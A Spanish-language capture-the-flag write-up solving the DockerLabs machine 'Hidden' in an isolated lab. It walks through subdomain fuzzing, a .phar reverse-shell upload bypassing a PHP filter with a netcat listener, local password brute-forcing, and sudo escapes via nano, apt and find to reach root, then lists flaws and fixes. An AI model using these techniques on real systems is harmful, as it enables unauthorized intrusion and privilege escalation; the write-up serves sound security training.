Hidden
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Hidden, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.
El propósito de este write-up es presentar de forma clara, técnica y ordenada cada fase del compromiso del sistema:
- Reconocimiento: Identificación de puertos, servicios, dominios y contenido expuesto.
- Explotación: Obtención de acceso inicial mediante bypass de restricciones de subida y ejecución remota.
- Escalada de privilegios: Abuso de credenciales, reutilización de contraseñas y permisos
sudoasignados incorrectamente.
Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Hidden |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 10/05/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Desplegamos la máquina con los siguientes comandos:
unzip Hidden.zipsudo bash auto_deploy.sh Hidden.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Hidden/{content,exploits,nmap,gobuster,scripts}cd Hidden1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»El index redirige al dominio hidden.lab, por lo que lo agregamos al archivo /etc/hosts.
Realizamos un escaneo inicial con Feroxbuster:
feroxbuster -u http://hidden.lab -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Ruta principal identificada:
index.html, correspondiente a una tienda de café.

El escaneo genera numerosos resultados, pero la mayoría corresponden a imágenes y archivos de funcionamiento sin información sensible útil.
1.3.1 Escaneo de subdominios
Sección titulada «1.3.1 Escaneo de subdominios»Probamos posibles subdominios con ffuf utilizando fuzzing sobre la cabecera Host:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -u "http://hidden.lab" \ -H "Host: FUZZ.hidden.lab" -fl 10
Se descubre el subdominio dev.hidden.lab, que también añadimos al archivo /etc/hosts.

Este subdominio contiene un formulario de subida de archivos con restricciones que bloquean extensiones .php.
Mediante un escaneo adicional se identifica el directorio accesible /uploads, lo que sugiere la posibilidad de subir una reverse shell utilizando otro formato ejecutable como .phar.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Creamos una reverse shell en formato .phar y la subimos mediante el formulario. La subida es exitosa y el archivo aparece en el directorio /uploads.

Activamos un listener en la máquina atacante:
nc -nlvp 443Luego accedemos al archivo subido desde el navegador, lo que activa la reverse shell:

Con esto obtenemos acceso como www-data.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → cafetero
Sección titulada «3.1 De www-data → cafetero»Tras revisar métodos locales de escalada, optamos por probar fuerza bruta de contraseñas con el script UserRush.
Detectamos usuarios locales:

La máquina no dispone de wget ni curl, por lo que creamos los archivos manualmente con nano.
Debido al tamaño del diccionario rockyou.txt, copiamos únicamente las primeras 1000 líneas:
cat rockyou.txt | head -n 1000 | xclip -sel clipCon los archivos UserRush.sh y rockyou.txt listos:
./UserRush.sh -u cafeteroEl ataque tiene éxito:

Ingresamos como el usuario cafetero:
su cafetero
3.2 De cafetero → john
Sección titulada «3.2 De cafetero → john»Verificamos permisos sudo:

Podemos ejecutar nano como el usuario john, lo que permite obtener una shell mediante su función de lectura:
sudo nano^R^Xreset; bash 1>&0 2>&0
3.3 De john → bobby
Sección titulada «3.3 De john → bobby»Revisamos permisos:

Podemos ejecutar apt como bobby:
sudo apt changelog apt!/bin/bash
3.4 De bobby → root
Sección titulada «3.4 De bobby → root»Verificamos permisos:

Permite ejecutar find como root:
sudo find . -exec /bin/bash \; -quitObtención de acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Subida de archivos sin validación adecuada del tipo MIME.
- Directorio
/uploadscon permisos de lectura pública. - Subdominio de desarrollo accesible desde producción.
- Redirección automática a un dominio interno sin protección.
- Permisos
sudoasignados incorrectamente a múltiples usuarios. - Reutilización de contraseñas entre cuentas del sistema.
- Ausencia de herramientas básicas de monitoreo o restricción (no hay audit logs, fail2ban, etc.).
Recomendaciones
Sección titulada «Recomendaciones»- Implementar validación estricta de archivos (MIME, extensión, contenido).
- Deshabilitar el listado público de directorios.
- Proteger subdominios de desarrollo con autenticación o retirarlos del entorno productivo.
- Revisar permisos
sudoy aplicar el principio de mínimo privilegio. - Aplicar políticas de contraseñas seguras y evitar la reutilización.
- Implementar mecanismos de monitoreo de intentos de fuerza bruta.
- Segmentar los servicios internos para evitar acceso público no intencionado.
- Utilizar WAF o reglas de seguridad que mitiguen subida y ejecución arbitraria de archivos.